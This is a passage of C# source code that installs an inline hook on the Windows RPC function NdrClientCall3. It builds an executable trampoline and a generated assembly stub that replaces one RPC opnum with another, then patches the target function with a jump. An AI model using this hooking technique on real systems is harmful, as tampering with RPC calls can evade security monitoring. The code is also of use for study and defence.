Marshal.AllocHGlobal(IntPtr.Size); 179 | Marshal.WriteIntPtr(_hookResultForAsm, IntPtr.Zero); 180 | _hookResultForAsmPin = GCHandle.Alloc(_hookResultForAsm, GCHandleType.Pinned); 181 | 182 | _trampolineAddress = VirtualAlloc(IntPtr.Zero, (UIntPtr)TRAMPOLINE_TOTAL_SIZE, 0x3000, 0x40); // MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE 183 | 184 | byte[] originalPrologue = new byte[TRAMPOLINE_PROLOGUE_SIZE]; 185 | Marshal.Copy(_targetFunctionAddress, originalPrologue, 0, TRAMPOLINE_PROLOGUE_SIZE); 186 | Marshal.Copy(originalPrologue, 0, _trampolineAddress, TRAMPOLINE_PROLOGUE_SIZE); 187 | 188 | byte[] jumpBackPatch = new byte[JMP_ABS64_SIZE]; 189 | Buffer.BlockCopy(JMP_ABS64_PATTERN, 0, jumpBackPatch, 0, JMP_ABS64_SIZE); 190 | IntPtr jumpBackTarget = (IntPtr)(_targetFunctionAddress.ToInt64() + TRAMPOLINE_PROLOGUE_SIZE); 191 | BitConverter.GetBytes(jumpBackTarget.ToInt64()).CopyTo(jumpBackPatch, 2); 192 | 193 | Marshal.Copy(jumpBackPatch, 0, (IntPtr)(_trampolineAddress.ToInt64() + TRAMPOLINE_PROLOGUE_SIZE), JMP_ABS64_SIZE); 194 | 195 | _trampolineAddressForAsm = _trampolineAddress; 196 | _trampolineAddressValuePin = GCHandle.Alloc(_trampolineAddressForAsm, GCHandleType.Pinned); 197 | 198 | _dynamicAsmStubAddress = VirtualAlloc(IntPtr.Zero, (UIntPtr)512, 0x3000, 0x40); // MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE 199 | 200 | byte[] dynamicAsmStubBytes = GenerateDynamicAsmStub(_hookedNdrClientCall3DelegatePtr, _dynamicAsmStubAddress, _trampolineAddress, _hookResultForAsm, targetOpnum, modifiedOpnum); 201 | 202 | WriteMemory(_dynamicAsmStubAddress, dynamicAsmStubBytes, dynamicAsmStubBytes.Length); 203 | 204 | Marshal.Copy(_targetFunctionAddress, _originalPatchedBytes, 0, JMP_ABS64_SIZE); 205 | 206 | byte[] mainHookPatch = new byte[JMP_ABS64_SIZE]; 207 | Buffer.BlockCopy(JMP_ABS64_PATTERN, 0, mainHookPatch, 0, JMP_ABS64_SIZE); 208 | BitConverter.GetBytes(_dynamicAsmStubAddress.ToInt64()).CopyTo(mainHookPatch, 2); 209 | 210 | WriteMemory(_targetFunctionAddress, mainHookPatch, JMP_ABS64_SIZE); 211 | 212 | return true; 213 | } 214 | 215 | } 216 | --------------------------------------------------------------------------------